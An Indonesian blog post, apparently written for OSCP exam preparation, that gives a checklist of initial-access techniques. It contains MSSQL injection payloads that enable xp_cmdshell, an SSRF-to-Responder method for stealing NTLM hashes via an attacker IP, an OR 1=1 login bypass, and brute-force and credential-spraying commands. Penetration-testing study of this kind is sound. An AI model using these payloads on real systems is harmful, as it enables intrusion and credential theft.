[OSCP] Initial Access - Checklist That Guarantees You to Pwn 'Em All
Pada tanggal 10 Desember 2024 kemarin, saya memantapkan diri untuk mengambil ujian OSCP. Bisa dibilang agak mendadak, karena Course dan Challenge Lab saya baru jalan sekitar 50%-an. OSCP ini bisa dibilang sebagai “Enumeration Game” yang di mana untuk menemukan Initial Access saat ujian berlangsung tidaklah terlalu sulit.
Saya akan merangkum tantangan-tantangan yang mungkin kalian temui saat mencari Initial Access (saat exam OSCP nanti).
- FTP (21/tcp): Anonymous Login
- FTP (21/tcp): Brute Force Login with ftp-betterdefaultpasslist.txt
- SMB (445/tcp): Null Session Login
- SMB (445/tcp): Guest Login
- SNMP (161/udp): Public Community Strings
- SNMP (161/udp): Brute Force Community Strings
- Web Application (HTTP): Hidden Directories and Files Enumeration
- Web Application (HTTP): SQL Injection (MSSQL to Command Execution)
- Web Application (HTTP): Server-Side Request Forgery in Windows Server (SSRF to Steal NTLM)
- Web Application (HTTP): Underrated CMS, Framework, or Application Exploit
- Web Application (HTTP): Login Required
- Uncommon Port and Unknown Service
- Gather Username List via Gathered File Attribute (exiftool)
- Credential Spraying Technique - FTP, SSH, SMB, WinRM, and RDP
Port Scan
Untuk melakukan inisiasi, biasanya kita perlu melakukan Port Scanning di awal. Namun, dalam kasus ini, saya menyarankan untuk tidak menggunakan NMAP (disclaimer: jika tidak terlalu dibutuhkan) karena waktu yang tersedia saat ujian OSCP berlangsung sangat terbatas.
Saat melakukan pengujian dengan beberapa tools, pilihan saya jatuh pada tools berikut:
TCP:
1
rustscan --scripts none -a $TARGET
UDP:
1
udpx -c 500 -w 1000 -t $TARGET
FTP Anonymous Login
Tool yang akan saya gunakan di sini adalah NetExec.
Skenario yang dapat kita lakukan saat mendapatkan akses FTP Anonymous Login:
- Read-only: Penyerang dapat mengunduh file sensitif, seperti konfigurasi (.env, .conf), file backup (.sql, .zip), atau kredensial (.db, .pdf, .txt).
- Write access: Kita dapat mengunggah file backdoor, untuk mendapatkan akses reverse shell.
1
netexec ftp <TARGET> -u 'anonymous' -p 'anonymous'
FTP Brute Force Login with ftp-betterdefaultpasslist.txt
Selain itu, pada service FTP, kita dapat memanfaatkan tool Hydra dan wordlist dari ftp-betterdefaultpasslist.txt (SecLists) untuk menemukan kredensial yang valid.
1
hydra -C /usr/share/SecLists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt <TARGET> ftp
Dump all files inside FTP
Untuk catatan tambahan jika menemukan banyak file di dalam FTP-nya, kalian bisa men-download semua filenya sekaligus secara recursive menggunakan command di bawah ini:
1
wget -m --user='<USERNAME>' --password='<PASSWORD>' ftp://<TARGET> --no-passive-ftp
SMB Null Session
Untuk memeriksa apakah SMB dapat Login menggunakan Null Session (tanpa username dan password), di sini saya akan menggunakan tool NetExec (lagi).
1
netexec smb <TARGET> -u '' -p ''
SMB Guest Login
Jika tidak dapat login dengan Null Session, kita perlu memeriksa apakah service SMB pada mesin target mengizinkan kita login menggunakan akun Guest.
1
netexec smb <TARGET> -u 'guest' -p 'guest'
Enum4linux
Jika salah satu metode login SMB di atas ada yang berhasil, maka kita dapat menggunakan tool enum4linux untuk mempercepat proses enumerasi.
1
enum4linux -a -v $TARGET
1
enum4linux -u 'guest' -p 'guest' -a -v <TARGET>
1
enum4linux -u 'username' -p 'password' -a -v <TARGET>
Dump all files inside SMB
Jika menemukan Sharefolder yang mencurigakan, kita bisa langsung download semua file di dalam SMB secara recursive ke mesin kita.
1
netexec smb <TARGET> -u 'username' -p 'password' -M spider_plus -o DOWNLOAD_FLAG=True
SNMP (161/udp) Pentest Preparation
Tool yang akan digunakan adalah net-snmp (snmpbulkwalk) beserta beberapa modul dan tool tambahan lainnya.
1
2
3
# Install SNMP Extender
sudo apt-get install snmp-mibs-downloader -y
sudo download-mibs
1
2
3
4
5
6
7
# Install onesixtyone to brute force SNMP
sudo apt update
sudo apt install build-essential libpcap-dev
git clone https://github.com/trailofbits/onesixtyone.git
cd onesixtyone
make
sudo make install
SNMP Public Community String
Initial Access pada SNMP biasanya dilakukan untuk memperoleh kredensial yang tercatat di dalamnya (logging). Dalam SNMP, kita akan menggunakan community string sebagai inputnya.
1
snmpbulkwalk -c public -v2c <TARGET> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
-c public
adalahpublic
community string.
SNMP Community String Brute Force
Jika community string “public”-nya tidak tersedia, maka kita perlu melakukan brute force pada community string-nya terlebih dahulu untuk menemukannya.
Terdapat dua wordlist yang umum digunakan, yaitu SecLists atau Wordlist dari Metasploit Framework.
1
2
onesixtyone -c /usr/share/SecLists/Discovery/SNMP/snmp.txt <TARGET>
onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt <TARGET>
Kemudian, snmpbulkwalk menggunakan custom community string.
1
snmpbulkwalk -c <COMMUNITY_STRING_NAME> -v2c <TARGET> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
Web Application (HTTP): Hidden Directories and Files Enumeration
Pasti hal ini sudah umum di telinga kalian, karena enumerasi untuk menemukan directory and file sensitif ini adalah hal yang basic.
Tapi, apakah kita perlu menggunakan 2 wordlist?
Ya! Saya pernah mengalami stuck dan tidak menemukan apa-apa saat hanya menggunakan satu wordlist. Namun, dengan menggunakan wordlist dari SecLists dan Dirsearch, menurut saya itu sudah lebih dari cukup untuk membantu menyelesaikan ujian OSCP.
Yang pertama, saya menggunakan tool Feroxbuster dan Wordlist SecLists (directory-list-2.3-medium.txt) agar hasilnya cepat dan maksimal (deep).
1
feroxbuster -C 404 --auto-tune -k --wordlist /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --threads 100 --depth 2 -u <TARGET>
Yang kedua, saya menggunakan Dirsearch untuk menemukan directory dan file umum, seperti .env, .git, dan lainnya.
1
PYTHONWARNINGS="ignore" python3 ~/dirsearch/dirsearch.py -u <TARGET>
Web Application: SQL Injection (MSSQL to Command Execution)
Pada dasarnya SQL Injection pada MSSQL memungkinkan kita untuk mengeksekusi Stacked Query, yang di mana kita dapat melakukan escape dengan cara menutup dan mengakhiri querynya dengan payload ';
dan menjalankan query lain.
http://10.10.10.10/profile.aspx?id=1';EXEC xp_cmdshell "whoami";--
Enable xp_cmdshell
:
1
2
3
4
';EXEC sp_configure 'show advanced options', 1;--
';RECONFIGURE;--
';EXEC sp_configure "xp_cmdshell", 1;--
';RECONFIGURE;--
Execute xp_cmdshell
”
1
';EXEC xp_cmdshell "whoami";--
Web Application: Server-Side Request Forgery in Windows Server (Steal NTLM)
Saya baru menyadari bahwa, celah SSRF (Server-Side Request Forgery) sangat berbahaya pada environment Windows. Yang di mana dapat dimanfaatkan untuk mencuri NTML Hash.
Untuk mengeksekusinya, kita perlu menghidupkan Responder terlebih dahulu pada mesin kita.
1
sudo python3 Responder.py -I tun0 -wd
Kemudian mengeksekusi SSRF-nya dengan menggunakan URL file://<ATTACKER_IP>/test
dan boom! Responder kalian akan menangkap Request seperti ini.
Lalu, kalian hanya tinggal crack NTML-nya saja.
1
hashcat -m 5600 '<HASH>' /usr/share/wordlists/rockyou.txt
Web Application: Underrated CMS, Framework, or Application Exploit
Tak jarang kita menemukan CMS atau Application yang tidak umum bahkan tidak pernah kita lihat sama sekalu sebelumnya.
- Solusinya simple, yaitu buka Google dan search dengan keyword
<APPLICATION_NAME> exploit
Web Application: Login Required
Jika kalian menemukan hal seperti ini, ada beberapa checklist yang perlu kalian lakukan
- Login dengan payload SQL Injection
' OR 1=1 LIMIT 1 -- -
- Apakah ada Public Exploit yang bisa kalian manfaatkan untuk Log In?
- Cari Default Credential-nya di Internet. OffSec sering menggunakan pattern
admin:admin
atauuser:user
(sesuaikan usernya dengan user yang sudah kalian peroleh).
Uncommon Port and Unknown Service
Tak jarang juga kita menemukan port yang tidak umum seperti 1978, 3001, dan lain-lain. Apalagi port tersebut bukanlah layanan HTTP, dan sialnya NMAP tidak dapat mendeteksi apa layanan di belakangnya.
Maka solusinya, kita dapat langsung ke Google dan cari menggunakan keyword port XXX exploit
Gather Username List via Gathered File Attribute (exiftool)
Agar tidak kaget saat merasa semua upaya Initial Access yang telah dilakukan sia-sia, tetapi kalian menemukan banyak file “sampah”. Kalian dapat memeriksa filenya apakah tersimpan attribute penting atau tidak, dengan menggunakan exiftool
.
1
exiftool <FILENAME>
Mencari author file secara recursive:
1
find . -type f | xargs -I {} exiftool {} | grep ^'Author'
Jika sudah dapat, kalian bisa langsung coba untuk Credential Spray ke setiap Service dan Application dengan pattern login user:user
.
Credential Spraying - FTP, SSH, SMB, WinRM, and RDP
Kita ketemu lagi sama NetExec, menggunakan tool sakti ini kita dapat melakukan Credential Spraying ke berbagai macam Service dan Protocol, dengan berbagai macam metode penempatan username dan password.
1
2
3
4
5
6
7
8
# Multiple Usernames and Multiple Passwords
netexec rdp <TARGET> -u username.txt -p password.txt
# Single Username with Multiple Passwords
netexec rdp <TARGET> -u 'john.doe' -p password.txt
# Multiple Usernames with Single Password
netexec rdp <TARGET> -u username.txt -p 'P@ssw0rd123'
Maka tinggal sesuaikan saja protokol apa yang digunakan di mesin target.
1
2
3
4
5
netexec ftp <TARGET> -u username.txt -p password.txt
netexec ssh <TARGET> -u username.txt -p password.txt
netexec smb <TARGET> -u username.txt -p password.txt
netexec winrm <TARGET> -u username.txt -p password.txt
netexec rdp <TARGET> -u username.txt -p password.txt
Bukan hanya itu, berikut ini list Protocol yang dapat kalian manfaatkan:
mssql
smb
ftp
ldap
nfs
rdp
ssh
vnc
winrm
wmi
THE ARTICLE STILL UPDATING…
- Crack the Protected File (PDF, ZIP, etc)
- Some Files (PDF, ZIP, etc) Might Contain Credentials